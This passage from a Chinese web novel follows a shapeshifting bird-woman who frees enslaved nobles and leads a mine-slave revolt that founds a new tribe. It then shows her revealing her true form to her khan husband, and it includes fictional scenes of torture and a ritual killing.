姜命为林一介绍道:“这贩奴的首领名叫吉真,常年游走在大魏边关和雪域,春夏贩粮,冬季贩奴,如今朝中局势不好,常有世族被罪连,驱出魏境后往往是在边境劳役,但若守将和雪域这里串谋,就能在我们抵达时掠人。” 他垂下眸子,哑着嗓子说:“年老的杀死,年轻人掠卖,这一路上还听了无数次、无数次……” 林一明白了,就是先前那吉真首领说的“若能得宠,我是做善事”之类的话,是要活人像羔羊那样被洗脑听话。 当然,这也就是顺带着的事,如果不是极有心机手段如祝若嫣,正常的雪域部落不会对贩奴队下手,你这趟杀人是痛快了,要考虑其他的贩奴队下次还敢不敢来了嘛。 林一让众人上车,晕倒的给放在窗户口的位置,虽然冷,但通风透气,几个青年出来牵驴骡驾车。 有两个青年胆子较大的,也凑到林一附近,有个少年试探着问:“神鸟大人,您的名字就叫凤鸟吗?我阅过诸多神话古本,知晓您说过的鲲鹏,但不知凤鸟,不知可否知晓您的故事呢?” 林一汗流浃背了,她跟王澈两个人起初是制图腾,后来是取鸟名,再后来她就膨胀地直接飞出来了,啥都没想啊!她绞尽脑汁,很费力地皱巴着脸,干巴巴地嘎了一声:“这个、是、是这样的,我们这种鸟打人很凶,喜欢吃、吃……” “我姜氏古籍有记载。”姜命忽然夺过话头,他声音沉稳地道:“凤乃古神鸟也,群鸟之王者,性高洁,能化人,见则天下安。从前只是听闻凤乃圣德之鸟,从未见过,我少读古籍,不会记错。” 林一大喜,小鸡啄米一样点头,对对对对! 那世族少年其实只是好奇一问,看这位神鸟大人磕磕巴巴的样子就已经不忍追问了,这可是救命恩鸟。不料这姜造化直接现编了一套,这下虽然我知道你知道我其实知道你在撒谎,但不得不装出一副恍然大悟的样子。 林一飞出来是很快的,往苏赫部落走却花了两天时间,她已经挑选了最短的路走,把一行人送到了苏赫部落里,让庞半天去安置他们。其实也就是弄一些帐子,然后分配一些生活用具,这些都可以从她的库帐里出,毕竟她得了好多好多战利品,虽然已经分配出去八成了,但剩下的杂物还是堆了两个大帐。 路上为了一些人耽搁两天而已,林一没放在心上,拖了只熟羊就往外走,没走几步忽然看到一个病歪歪的青年从马车上一跃而起,冲到了坐轮椅被侍从推出来散步的王澈面前,惊呼道:“清仪,是你!你怎么成了这般?你这腿是怎么了?” 林一认得那个病歪歪,是最开始跑得最快的魏朝世族公子,被救回来后一直对什么都不感兴趣的样子,整天趴在马车里很颓废。 魏朝和雪域有一个比较近的习惯,男子未婚多半刮胡洁面,婚后开始蓄须,但是这一行青年不管已婚未婚,大家都是长期没能刮胡子的,贩奴队通常会在快要抵达时才开始修饰奴隶外貌。可是在一群人里面,就这个病歪歪胡子长得比较好笑,是两条细长鲶鱼须的样子,虽然长得非常清俊,但莫名被胡子加了两撇猥琐劲儿,居然是王澈的旧识吗? 她挺为王澈高兴的,孤身一人在这异域他乡没有朋友一定很孤寂,能遇到昔日友人也是好事情。当然,最高兴的是这一行二十几个人,连丫鬟书童都认识字,这等于是铲了个人才窝回来啊! 这会儿也有好几个青年凑过去,问道:“崔兄,这位是?” 崔殊极感慨地道:“这位就是瑕丘王氏子澈,昔年大长公主带着三百家奴,在学室下学途中拦过他的道,不解了绔带赠她不给走!整个学室的同窗都看着。唉,也是这事之后,清仪的美色就传出了名,你们不曾记得当年洛下月旦评,称其为月下公子,青阳……” 一直歪在轮椅上面无表情的王澈突然暴起,掐住崔殊的脖子,俊脸扭曲,双手发力。 大嘴鲶鱼,给爷死!给爷死! 崔殊被反手按在轮椅上掐脖子,王澈站着掐他,为了使力甚至蹦着掐他,看起来腿脚可好了。林一感觉他们俩的关系也应该挺好的,毕竟她和林二也是互相掐*鸟脖子的关系,这多亲近啊。 不打扰故友重逢,林一跟姜命叮嘱道:“俺是神鸟这事,暂时别讲,待会儿你们串一串话哈,俺有事忙,过两日俺回来自己讲,懂迈?” 姜命慎重地道:“在下知道。” 林一拍拍翅膀走了,她这趟不是去塔塔尔部,而是塔塔尔部最大的黑石矿场,她对雪域这块地方熟悉得不能再熟悉,闭着眼都不会飞错方向。 黑石矿场位于苏赫部偏西的位置,四面荒原,无法自然形成部落,每个月塔塔尔部的一处分支部落会送来少量食物。除此之外水源也很匮乏,需要专门一队奴工每天往返二十里运水,这样的情况下矿场没有余粮,即便看守的人手较少,矿奴数量多,也没人敢于反抗逃离。 一个大型矿场,矿奴人数五六千左右,基本上都是二三十岁的青壮年,仅有几十名女奴,是因为矿奴忙累,是些力气活,女奴的作用不在挖矿上。林一左右顾盼,鬼鬼祟祟,很顺手地偷了把小铲,然后毡衣的领子往上竖,低着头小步小步地混进了矿上。 这处大矿原本是露天的,地表上的黑石被铲光之后就得下挖了,矿奴们每天两眼一睁就是个挖黑石,挖得浑身黑乎乎臭烘烘……这个条件也就别提洗澡的,人喝水还得均分呢。 苏赫部常有“洗雪澡”,一般都是青壮勇士把干雪往身上搓,这不冷,越搓越热乎,洗得很舒服。当然林一都是比较批判这种行为的,她非常批判地看过不少回。 洗雪澡本身这事,林一也试过几回,人身不怎么得劲,最是鸟形往雪地里打滚,干雪从羽翼缝隙里带走羽粉灰尘等物,这样才舒坦。但是黑石矿上这些人没有敢洗雪澡的,这需要一个强壮的身板,不然光是赤着身子在雪地里就要受寒,受了寒还要大力劳作,这样就很可能一头栽下去,再也起不来了。 林一干活是真的勤勤恳恳,一大早上刚混进去时她的毡衣黄白色的,羊毛毡的,看着干干净净,等她干了有一个多时辰,就成了个标准挖黑石的矿奴模样。脸也乌黑手也乌黑,衣裳灰不溜秋,她一直铲黑石铲到矿洞里去,混到了一伙总是聚在一起的青年团伙边上。 这伙青年大多是些雪域混血模样,明显有些防备人,林一靠过去的时候,他们就还往矿洞里稍稍,林一又凑近,几人背都快贴矿了,为首的忍不住喝道:“小子,你要作甚?” 林一低嘎了一声,鸭子嗓沉沉的,“俺也想干,带俺一个,俺会杀人,贼快。” 一个早上虽然叮叮当当到处是铲黑石的声音,但林一耳朵多尖啊,早听见这一伙几十个人在小声密谋了。 大家都是黑乎乎人形,矿里更黑,从脸色也看不出啥,就少了表情沟通这个过程,为首那人想了想直接道:“你晓得我们的事了,我们肯定不能再放你一个待着,过几天我们行动的时候会带上你……” 林一打断道:“不行,待会儿就得行动,我听见督工和人商量,明天点名的时候当众点出你们来杀掉,俺是真不懂,为啥你们都要定个过几天,明后天呢?啥计划非得搁几天?” 这和料敌机先完全不一样啊!庙算指的是在没有行动前准备好一切,是敌方甚至都不知道要开战之前做足战备,可不是指反复密谋,定下计划然后一直不去实施,然后搁这谋来谋去的,直到情报泄露,这叫坐失良机! 林一感觉自己要是督工的话,知道这事的第一时间不就动手除掉威胁了吗?怎么啥事都爱拖?事已至此先吃晚饭?什么逻辑! 为首的人吓了一跳,林一按住他的肩膀,“木事木事,有啥好怕,恁这一个矿几千人,他督工手底下才多少?就两个百骑队嘛,怕啥,来,现在咱都往里走走,听听俺的计划。” 矿奴们被林一往矿洞里推。 等聊了一段时间,再出矿洞的时候,走路位置就完全不一样了,林一走在最中间,还有空想呢。现在她有名有姓有品种了,她可是神鸟,还缺个字啊!字为名之辅,也就是说字得和她的名挂钩,什么样的字才合适呢? 不如就林一,字老大吧! 真是响亮又霸道。 第54章 虽然是雪域,但就算是最严寒的雪期里也有晴雪的时候,早上下了会儿雪,到中午天朗气清。 这会儿是饭点,矿奴通常是一天两顿,林一领到一碗糊了吧唧不知道是什么的东西,尝一口有些咸味道,碗底还有一点煤渣。 林一咕嘟两口喝完,再次拿起了偷来的小铲干活,大约是定下明天当众杀人立威的计划了,督工们是真没什么演技,一直有意无意注意着林一这边的动静。预备反抗的矿奴们就更没演技,自从听了林一的演讲后,时不时鬼鬼祟祟四下里打量,仿佛想从督工的脸上看出端倪。 林一决定不去管他们,视线落在远处地势稍平缓的帐区,帐子都是督工在住,矿奴们都有铺盖卷,里面塞干草絮状物,外层麻布或粗布,也有皮子的,但很少,大多数时候就挤在挖空的矿洞里入睡,最冷的时候每天都要抬出去几具夜里冻僵的尸体。不仅环境糟糕,督工平时杀人也是怎么残忍怎么来,不是一刀或者几刀砍死,尤其是在冰雪期,有个叫挂甲的花活。 大活人扒干净身上的衣服,赤条条捆在雪地里,往身上浇水,一层层冰冻成壳,谓之“挂甲”。挂甲完人就成冰雕了,放在必经之路上做摆设,和魏人的垒砌人头做京观一个性质,这种看着就让人打颤的酷刑通常不为杀人这个朴素目的,而是为了震慑其他人。 黑石矿上的总督工名叫木固儿,这种名字一般都是发音,也许有个什么雪域词语,但林一不计较这个,她学雪域语的第一天就知道很多词是部落限定,没有必要计较的。 木固儿新来矿上不到一年,和以往杀人只为维持矿上安定的总督工不同,他喜欢酷刑的,最喜欢欣赏矿奴们敢怒不敢言的样子,甚至嫌挂甲视觉效果不足,先在挂甲前上花刀,然后往伤口上浇滚开的水,再丢进雪地里挂甲,人在经受巨大痛楚后反而会因为低温而舒缓,但死期也至。 有的矿奴不仅自己在矿上做工,妻女还在帐区做女奴,那能玩的就更多了,种种惨事数不胜数。原先督工帐区是有整数一百个女奴的,打从木固儿接任总督工,到现在只剩下六十多个。 靠着这样的手段,矿里敢于反抗的人越来越少,尤其稍微上些年纪的——没有更上年纪的,矿奴做不到四十以上身体就垮掉了。总之稍微上些年纪的都是能混就混,最多偷偷想法子少干活,而不是串联起来搞反抗。 这夏秋季还好,找对了路线能跑掉,大雪天的连一碗糊糊都是要从很远的地方运来,打死督工吃光存粮,塔塔尔部都不用动兵,只消不再运粮来,他们就死个透透的了! 但年轻人是不可控的,因为年轻所以不计后果,就算是这样的情况下,也聚起了四五十人,甚至没几个有长远打算,就是准备先杀了人再说。 饭后,林一找到那伙矿奴,对为首的说:“现在你快步走出去,不要有任何东张西望的动作,也别有人跟着,就往帐区的方向走。” 为首的矿奴叫忽查,一脸黑煤灰,眼睛黑白分明,他舔了一下嘴唇,有些紧张地说:“是去吸引注意力吗?然后我需要做什么?老大,我相信你,你是个有脑子的。” 面对这种智商上的高级赞美,林一非常很严肃地摆摆手,“你去做就是了,现在人很散,我需要人齐一些再说。” 忽查慎重地点点头,又听林一叮嘱道:“接下来你不要管发生任何事,记住不要把我说出来,也不要看我的方向,千万注意,等会儿就没有你的事了。” 满脸乌黑的矿奴忽查相当信赖地点了点头,然后大步大步朝着帐区走去,矿场上矿奴遍布,到处是叮叮当当的铲子声,督工分散得比较开,最开始还真没人注意到忽查的动作。他离开黑石矿的区域,走到雪还厚实干净的帐区边缘时,忽然有两个督工冲出要去按他,忽查奋力挣扎,挥动小铲,硬生生拖着两个人又走了十来步。 然后被问询赶来的四五个督工逮住了,三下五除二捆起来,像头待宰的羊。 矿上的叮叮当当声忽然停了许多,有人去报告给帐区里的总督工木固儿。这会儿下午,气候稍微暖和些,木固儿的牛皮大帐里点着黑石取暖,他一左一右抱着两个女奴正喝酒呢,就有人进来报告,当即推搡开两个烤火烤得昏昏欲睡的女奴,有一个还差点摔进火里了,他也懒得理,提起马鞭往外走。 雪地里,黑乎乎的忽查被捆得结结实实,一脸呆滞,视线本能想要看向林一的方向又止住了,双眼圆瞪看向朝着他走来的木固儿,老大是不是在坑他?不不不,先不要想这些,答应好的事得做完。 木固儿这会儿没什么力气,酒喝得身体比较乏累,给了他两鞭子就打不动了,正要将鞭子交给其他督工打一会儿,忽然听见一声巨响的鸭子叫:“矿上的勇士们,木固儿已经被骗出来了,大家上啊!打死督工,去他的帐子里吃肉!嘎!” 一开始其实没人应和,就连之前和忽查合谋的四五十个年轻人都只是握紧了手里的小铲,还是有些犹豫不定,但是话音落下之后,林一举起胳膊一边演讲一边奋力挥舞,立刻有两名督工砸地不起,木固儿吓得酒都醒了,高声喝道:“把那些人抓出来打死示众!” 他的本意是抓那些被标记的,和忽查一起密谋造反的青年矿奴,但矿上大部分人都不知道这事,眼看着督工朝自己的方向走来,那声鸭子叫又响起来:“勇士们,打死他们!打死他们!打死他们!” 先前被林一推进矿洞的那些矿奴们一下子如梦初醒,挥舞起了小铲,人是聚居动物,有从众心理,看到身边的人开始动手,也会下意识行动,这叫一呼百应。 当即有人扯着嗓子大叫:“一起上,打死他们!” 一个壮硕督工被好几个矿奴扑倒在黑石堆里,小铲本来不是什么适合打架的武器,但矿奴人多,一人几铲往脑壳上敲,没几下人就不动了。 木固儿丢下马鞭就往帐区跑,也有督工立刻反应过来:“快上马,快上马拿弓……” 雪域骑兵是非常厉害的,靠两条腿的人根本打不过骑在马上又有远程火力覆盖的骑兵,单骑兵在拉开距离的情况下弄死十个步兵寻常事,可是你又又又犯下致命的错误,人马分离了啊! 马棚在帐区边上,木固儿很注意马的保护,为了防止有矿奴打着偷马跑的主意,甚至马棚还上锁了,这会儿他一跑,还是带着钥匙跑的。他后头的督工们想牵马时才发现这点,气得几乎发疯,很快有跑得慢的被追赶来的矿奴扑倒,压进了一片黑石堆里。 林一腿快,但等她揪着不断挣扎的木固儿回来的时候,矿上几乎已经没有还站着的督工了,连挨了两鞭子的忽查也被他的兄弟们解开了捆绑,几人围在一起满脸兴奋地在踹一个倒地督工的肚子和胯间。 此事混混战法之中早有记载,谓之围踹。 寒风凛冽,片刻之前还躺在毛褥子里烤火玩女奴的木固儿像死人一样歪在地上,帐子里挤不下许多人,但这块平地选得很好,是避风的地形。平时一帮铲黑石铲到累死的矿奴们也是烤上火了,有的从督工们的帐子里抢出些肉干炒米等物,连靠火烤软和些都等不及,一把一把往嘴里塞。 有矿奴不去抢东西,急急忙忙去女奴的帐子里,找到自家的妻女,一家抱头痛哭。 还有稍微上些年纪的,愁得直往火堆里加黑石,看着群情热烈的氛围直叹气,还跟忽查说:“打死了他们是痛快了,可不知往后怎么办呢!” 林一正指挥众人把存粮搬出来准备晚上饱食一顿的,听见这话,看到不少人脸上的愁容,反应过来。大部分人其实都没有参与她的计划,是被带动着动手的,而且没动手的人也很多,主要是怕。 塔塔尔部会不会报复是一点,矿上的粮食没有多少也是一点,最重要的是,大家来的时候几乎就记得一片茫茫的草地或者雪地了,连自己在哪挖的矿都不知道,只晓得督工们说这里四面荒原,离开了就会被狼吃掉,饿死了也走不出去。别说是魏人了,就是雪域人,一辈子没离开过部落范围的也一大把。 林一找了个黑石堆,踩了几下发现堆得很结实,满意地走到黑石堆上,大声嚷道:“大家别慌,别慌!先听听我的!” 她一脸黑煤灰,浑身是煤渣,看起来真不像外来人,倒像是在矿上待很久了,先前稀里糊涂听了她指挥的矿奴们都忍不住朝她看去。 “这里是塔塔尔部落最大的黑石矿,距离这里最近的是秃麻部,塔塔尔部的附属,是个万人左右的中等部落,向南走六天路程可以抵达苏赫部,并不是荒原!” 少有人能像她这样对地形熟悉,但还是有人嘀咕说:“晓得在哪,又有什么的……” 林一嘎嘎大笑,“难道你们都没有打过仗吗?我的意思是说,万人部落不可怕!万人部落可以打仗的青壮数目是多少,一户七口之家能供养几匹马?而且部民平时难道是聚在一起的吗?秃麻部没有常备骑兵,每隔十二日会组织青壮骑射演练一次,人口分散,而且我们又不是要去打秃麻部,而是抢牛羊马匹,抢来我们自己放牧,在这里组建一个部落!” 矿奴们都惊住了,林一大声演讲:“在这里的有快六千人,而且是六千青壮啊,为什么不能就地组建部落?我们挖这里的黑石矿贩卖,不再起早贪黑,而是为自己挣钱!现在每一块黑石的利润都是我们自己的,你们难道没有听过苏赫大汗的往事吗?这样好的大矿摆在这里,只想着跑吗?跑到哪里是个家?” 忽查感觉自己热血沸腾,林一把他拽上黑石堆,指着忽查的伤口,“我们现在只有两百匹马,一个月的时间,放开肚皮吃可能半个月都不到,大家吃饱些,有胆子的就跟我出去抢,出去夺,甚至这都不是抢啊,是拿回自己挖矿这么久的血汗钱!要塔塔尔部还了这份血汗钱才够!” 最后三个字忽然引起矿奴们的共鸣,人群开始躁动,忽查看了自己身上的两鞭子,眼泪一下子盈满眼眶。 老大说的对!还我血汗钱! 第55章 林一最开始真没有撺掇起义的想法。 她连干粮都只带了一麻袋的牛肉干,就是做好了几天内往返的打算,毕竟最开始的设想是打探好情况,然后等个好天气带苏赫骑兵过来接手,她一向觉得战争之前做足一切准备才是个“笨鸟先飞”的好指战员。 这不是一来就赶上了嘛,当然,她大可以潜伏着观察,再观察一场“挂甲”酷刑,等两天摸清矿上情况,可是她真憋不住啊! 做事需要事前规划,需要胜兵先胜,需要庙算一堆,需要……可是他要在我面前杀人诶!当计划赶不上变化的时候,就只能来一场狭路相逢勇者胜了。这种谁都没料到的狭路相逢,不光是勇者会获胜,先拔刀者,胜率翻倍! 林一做完演讲,让忽查的兄弟们——是真的兄弟们,他这一批聚在一起的矿奴,有三个忽查的亲兄弟,十几个他的堂兄弟,他们是同一个小部落被攻破后卖到矿上来的。她让忽查的兄弟们绑了木固儿和几个经常为木固儿干脏活的督工过来,用小铲对着木固儿的脸比比划划,对众人说道:“但凡雪域部落,建立起来的那天就需要祭祀天地,这儿没有萨满,我们也不需要萨满,但祭祀我们用人牲,只这一次用人牲!” 和木固儿有仇的不知多少,本就被带动了一腔血勇,许多人都躁动起来,但一时呼喊不出来,人的情绪过于激动时,嗓子是哑的,人是抖的。 林一对着木固儿就是一铲,矿上用的小铲并不锋利,但她力道大,当即深可见骨,鲜血和惨叫一起迸发。林一把小铲交到忽查手里,怒声喝道:“一人一下!” 忽查抄起铲子,用铲背当啷一声敲在木固儿的脑门上。 他的兄弟抢过铲子,也来了一下,林一欲言又止,她本来是想让大家挥铲子一人来一下做个形式的,怎么都开始传递她那把偷来的小铲了…… 但是不妨碍气氛十分热烈。 因为传递小铲的缘故,并不是一哄而上来打,使得这场祭祀非常具有纪律性,而且用的小铲而不是刀具等,胆子小的敲一下就过,有仇有恨的来一下狠的。中途有几个女奴打得更凶,铲了一下还不够,当当当当照着木固儿的脑袋打,是周围人拉了一把才停。 等整个部落六千号人都来了一遍,木固儿和他的几个亲信已经被打得不成人形了,这大冷的天虽然到处是矿坑,但何必为他们再填土呢,林一铲了几把黑石撒在他们身上,众人一起动手,最后点火烧。 熊熊烈火之中,众人的眼睛盯在上头一眨不眨,都没人吭声。 忽查胸口不停起伏,眼珠子泛红。他们这批新矿奴共四五百个,来自不同的小部落,有的是部落里大部分青壮跟着拔都可汗南下,期间被别的部落偷袭灭亡,男的拉到矿上卖成矿奴,女的抢回去生育,这就是雪域小部落的常见结局,女人每隔四五年换个丈夫也是很寻常的事。 也有的是中等部落出身,独身放牧时被贩奴队盯上了,抢去牛羊马匹,人也要卖掉。对于万人以上规模的大部落来说,只要不是一次性丢了十几个人,那么偶尔失踪一两个,除了亲戚好友是没有人会挂在心上的,甚至贩奴队有时候会在部落周边停留,正常做些生意来着。 部落之主大多数时候也会睁一只眼闭一只眼,毕竟打了贩奴队,谁来你这儿再贩奴隶呢?只要大家互相给个面子,不要发生本部落的人卖回本部落里的乌龙事就行。偶有些脾气大的把人要回去,贩奴队也不吃亏,因为要人也有默认规则,那就是人是光秃地给,放牧牛羊的,被抢走的牛羊不会归还,身上有贵重物的也只给你留件蔽体衣裳。 大部落就没有了,倒不是说不敢,只不过这里是塔塔尔部的黑石矿,很少有他们自己部落的人被打发来下矿,除非是本部撵出来的奴隶。有时候贩奴队失手抓了苏赫或者克烈部的人,不敢就近卖,中小部落也不敢买,就会远远卖到塔塔尔部来,但是这种奴隶属于很少见的,一般不会落到黑石矿。 寒风中,忽查忽然小声地问:“老大,我们部落……叫什么名字啊?” 林一严肃的脸色忽然一僵,部落都成立了,怎么才提醒她还没取名?她这也不会啊!犹豫片刻,她大声地说:“以后我们是要靠着黑石矿过活的,就简单些,叫黑石部落吧!” 声音很大,但没什么底气。她现在已经接受了自己是个取名废的事实,早知道应该让王澈多取几个部落名让她也揣身上带着的。 但很快,六千号人发出欢呼呐喊声,谁还没有个部落呢?小部落的名字比这难听的多了去,现在落到做矿奴的地步了,居然一翻身站了起来,还有了一个部落名。雪域的小部落其实很少有这么强烈的归属感,但黑石部落不同,大家都是一个矿上的难兄难弟啊。 晚上,众人都放开肚皮吃了一顿饱的,平时三天的糊糊份量,今天吃的是干的,很少有的一顿饱食,使得许多心里其实发慌的人安定下来。 人就是这样的,不是所有人都有抗争的勇气,跟着其他人抗争之后也会有一种不确定的迷茫感,需要一遍一遍的安抚。 今夜风雪大,林一睡在木固儿的帐子里,不知道为什么挺干净的帐子闻起来总有一股臭气,她翻身坐了起来,也没睡着,就是靠着炉子看火,火是温暖的,烧灼起来的样子很好看。 过了几日,黑石部落这边也走上了正轨,林一任命忽查为叶护,又挑了几个身板高大的算作临时骑队长,虽然整个部落只有二百匹马,但雪域的军官就是按骑队来算的,总之一个很粗糙的架子搭了起来,其他的林一得回去参考参考苏赫阿那的先例。 啊对对对,只是因为要回去取建立部落的心得,压根不是因为孤身一人睡在臭帐子里,然后想男人了。 清晨时分,苏赫阿那早已起身。 他并不是个贪睡的人,从前总是起得很晚,那是因为夜里折腾了太多,林一一走,他马上就恢复了良好的作息,他的生活比三个儿子规律太多了。 清晨巡视黑帐,近期建的大通间里头住着部落里最年长和最年幼的老人小孩,需要重点看顾。过午如果没有事务,从黑帐出发前往大河谷巡视,沿途都是苏赫部核心聚居地,途中也许打打猎。到傍晚和夜晚还没睡的期间,他会看看书,是林一从辽东带回来的世族藏书。 不过这两天事务还是较多的,二十多个被解救回来的魏人,有十二个世族公子小姐,小半的丫鬟书童,雪域部落通常不了解魏人的等级划分,丫鬟书童这种高级仆役也被很简单划分为侍从行列。 贩奴队当然更愿意贩卖世族女眷,不论是未嫁少女还是已婚妇人,在雪域都很抢手,但是这种能出现在魏朝边关又被他们得到的,太少太少。边关虽然荒僻,但实权人物不少,像是王氏一族被贬雁门郡,劳役还没做几日,就有王氏贵女嫁了握持万军的守将杨裳,一族得以庇护,哪有落到你雪域贩奴商队手里的机会。 好在塔塔尔部有一位喜爱男色的右贤王,这一趟虽然只有四个世族女子,但剩下的男人仍旧值钱,然后……就被一窝铲走了嘛。 苏赫阿那妥善安置了这些人,又把身体虚弱受不得冻的几个安排到了大通间里,日夜都有火炕烧暖。青年男子大多身体不差,两人一帐,又让他们各自的丫鬟书童自行服侍,这在苏赫阿那看来已经安排得很好。 姜命也觉得现在日子已经很好了,他和崔殊一个帐子,来的第一天就能有热水擦身,刮须修眉,剪去额前散发,感觉整个人都活过来了一场。崔殊明明也不曾婚配,但不知为何把那两撇鲶鱼似的胡子留了下来,每天眼睛一睁就去找他昔日的同窗好友王澈,非要把那位明月霞光似的青年气得从轮椅上站起来揍他,才心满意足。 这日清晨,姜命正捧着从苏赫大汗那儿借来的书籍阅读,忽然听见帐外有喧闹声传来,而且是由远及近,到处都是呼喊声,他其实不大听得懂雪域语,一般是王澈中午醒后会教他们些,但是他记得那个词汇。 可敦。 姜命连身上洗干净的披风都忘记拢起,几步跑到帐帘边,一把掀开,迎面是风雪,许多的雪域人也从帐子里跑了出来,对着几日不见的林一高呼可敦回来了。 林一嘴巴咧到耳后根,一路走一路挥手,点头示意,高声喊:“行嘞行嘞,恁都回帐子里去吧!雪下得忒大咧,恁想俺,俺也想恁,都回吧啊!” 到姜命的帐子前,林一还顺手推搡一下,把他推进去了,大步大步往黑帐那边去。 弱不禁风的男人,站在帐子前想当冰雕迈。 第56章 林一回来得赶巧,苏赫阿那正在大帐待客,客人也并不是旁人,而是她名义上的外祖母——叶朔老元帅的发妻,河间董氏的老祖宗董停花董老夫人。 自收到皇帝诏书,董老夫人为外孙女瞒下了替嫁的大罪过,明知这一趟得不到好结果,她最大的盼望反倒是死在路上,不管是死在去的路上,还是死在返程的路上,都可以不带累家族和玲珑。无奈的是她身子骨太硬朗,星夜兼程不曾懈怠,却还是好好地来到了雪域,冰天雪地里的苏赫部落。 苏赫阿那对这位老夫人很客气尊重,也一早听闻她是来做说客的,场面话说尽,又听得那位皇帝使者要见可敦本人,这位皇帝身边派出来的使者自然不可能没见过萧玲珑。 不待董老夫人劝止,外面到处是雪域人呼喊可敦归来的喧闹声,使者是个中年太监,一脸精明相,闻言笑道:“看来公主殿下回来了,奴是看着公主长大的,如今公主出嫁,再怎么样奴也应当瞧瞧殿下过得如何……” 话音还没落下,按照这位太监的预计,就算是可敦,也要有个通报入帐的流程走,却不料帐帘一掀,先伸进来一个脑袋,然后寒风扑面。一个灰扑扑的高大女子大步走了进来,一眼都没朝他们看,直接上了可汗大座,背对着他们,做了一个伸手要抱的姿势。 那看上去可一点都不像是女儿家要夫君抱抱,而是很流氓的姿态,双手摊开脊背舒展,昂头挺胸带点得意,是个要人投怀的动作。 苏赫阿那失笑,压低声音,帐子比较大,和底下空地距离也远,他的声音传不到使团众人耳朵里。 “那位老妇人是叶老元帅的遗孀,董氏夫人,你的外祖母,那个使者是魏帝所派,与你是旧识。”简单几句说完后,苏赫阿那起身,没有做拥抱的姿势,而是将林一带进大座里。 林一没能得到一个久别重逢的抱抱,向后仰靠椅背,有些不满,她先准确地对着最老的董老夫人点了点头,“外祖母别来无恙,俺可想你!” 董老夫人打量着林一,微叹一口气。 不像玲珑,一点都不像,大约也正是因为不像,才能做下那样的大事吧。 董老夫人只是叹息,使者就是震惊了。他不是说假的,叶老元帅没死之前,玲珑公主哪怕丧了母,也是宫里顶受宠的小公主,她受宠到能揪皇父的胡子玩,宫里没一个公主比得上,皇后所出的嫡公主都妒她。皇帝身边的红人,哪个没有捧过这位公主殿下?哪怕近年来逐渐失势,可是人的模样是不会变的! 怎么能从一个娇纵美貌的小公主,变成个要饭回来的黑脸大高个的啊? 林一鸟脸皮是很厚的,对着太监也点点头,问道:“俺爹叫你来,还是为辽东的事啊?那不成!俺的地俺带人打咧,咋个能空口白话就要回去?俺跟人家庄稼上的人都说好了,不会再叫人欺负他们咧!” 她这话落在太监耳朵里,基本上只能听懂几个词,什么爹啊辽东啊庄稼……但是没等他开口询问,苏赫阿那用标准的魏语说道:“可敦说的是,辽东之地是我苏赫骑兵辛辛苦苦打下,是从克烈部手中夺来,上国一纸空文就想拿走,有些过了。何况可敦已经答应辽东子民从此免税,倘若交还辽东,可敦的承诺落空,岂不叫她颜面受损。” 太监愣住,别说眼前是个假公主了,就是真公主的颜面能值一个郡吗?而他难道不是带着皇帝爷爷的颜面来的吗?皇爷都拉下脸讨要了! 林一这下直接不用魏语了,她也感觉魏语过于文绉绉的了,用流畅地像是学了一辈子的雪域话说:“苏赫阿那,苏赫阿那,你告诉他,辽东是我的地方,他想要可以的,派兵来打,我还没有试过守城战。” 开什么玩笑,认这个爹纯是为了拿辽东那两个被魏军坚守的城,现在城已经到手,而且辽东人可喜欢鸟大王了,这公主身份要跟不要一个样,这爹要跟不要也是一个样。 苏赫阿那的翻译就委婉一些,但意思传达得很到位。 太监使者准备的话术其实也很到位,就是全方位针对萧玲珑的性格进行的设计,然后到了地方,人不是那位,本来就已经麻了一半,再对上林一的要地没有,要人不给的流氓态度,一时语塞。 他做了一下最后的试探,“殿下,昔年奴也曾照顾殿下不少,*苏赫大汗怕是不知……” 林一仰靠着可汗大座的椅背看他,其实没听明白这话里有什么含义,苏赫阿那沉声接话,“如何不知?我身侧的是苏赫部的可敦,不再是魏朝的玲珑公主。” 使者也终于死了心,这还哪有不懂的,人家心里门清,萧玲珑怕是半路上跑了,被个不知哪里弄的女流氓顶替!小公主啊!人怎么能闯下这样大的祸事! 林一还假惺惺地挽留了一下,“这几天雪大,待几天再走吧,我们新建了砖屋,还有火坑睡!” 使者只差气死,也憋着一股恨不得路上累死这没用老太太的心思,出了帐子就宣布回程。 背后隐隐约约传来鸭子似的嘎嘎大笑声,转回帐子来,林一从大座上一跃而起,再次站在苏赫阿那面前,摆出那副流氓姿态要他投怀,“人走了,不要羞嘛,好几天没回来,不曾想我?” 帐内无旁人,苏赫阿那无奈站起身,抱住林一的腰,轻声道:“想了。” 林一喜得嘎嘎叫,她拉着苏赫阿那往外走,边走边说:“今天,我要告诉你一件大事!” 被拉着往外走,苏赫阿那顺便把帐子里的几处炉火扑灭,毕竟待客,烧的是黑石不是牛粪,一看就是个很节俭的大汗。 来到一处僻静空地上的时候,苏赫阿那连林一在这几天赤手空拳打下了塔塔尔部的可能性都想了一遍,就是没想到她站在雪地里,直接往下褪毡衣。虽然那身沾了很多煤灰的毡衣是有些脏臭该脱,可是大冷的天幕天席地做、做这个? 苏赫阿那飞快看了看周围,确认没有旁人,略微有些犹豫,他知道林一喜欢从睡帐往外走,喜欢玩刺激,他已经拒绝过多次,但好几日不见,她又这般热烈。年轻女子总会有些任性的地方,他这个年纪应该略微包容着些,虽然有些伤脸面,可是她要是很喜欢的话…… 嗯,在外面只待一会儿好了,待久了会有人找过来,也会受寒。 正思索着这些,苏赫阿那走近林一几步,想说什么,就见林一满脸兴奋地朝他招招手,然后脑袋下陷,翻出一个鸟头,紧接着整个身子扭曲反转扭曲反转,从一个高大女子变成了两米八的巨大禽鸟。 苏赫阿那停步,林一的鸡喙开合,口吐人言:“这是我的本体,第一次看可能不怎么适应,看习惯了就习惯了,我自己也习惯好几年了……虽然挺想告诉你,我是什么神鸟之类,可是我想了很久,还是应该坦诚相待,其实我就是这个样子的鸟。” 她没什么重点地说了一堆话,什么飞舟星际宇宙流水线混基之类,苏赫阿那没怎么听懂,但听懂了林一的过去,像是那种部落的奴兵一样被使用着,但是很挣扎很努力地活下来了。 他静静地听着,没有常人的那种惊慌畏惧,只是眉头紧紧地拧着。好半晌,不知苏赫阿那听到了哪里,眉心又松开,呼出了一口白气。 林一还在说:“我在辽东的时候,就一直很想飞回来看看你的,可是怕你害怕,这几天我想了很多遍,还是想要和你说。如果、如果你要是接受不了的话,也没有关系的,我在哪里都能活。” 说到这里,她的声音明显有些含糊了,像是不大愿意说这话,苏赫阿那走上前,原本是想抚摸林一的羽翼,但一伸手就没入了她柔软蓬松的腹羽。 林一张开翅膀,很小心的抱住了他,苏赫阿那整个人被埋入林一胸腹蓬羽里,双翅合拢包围着他。 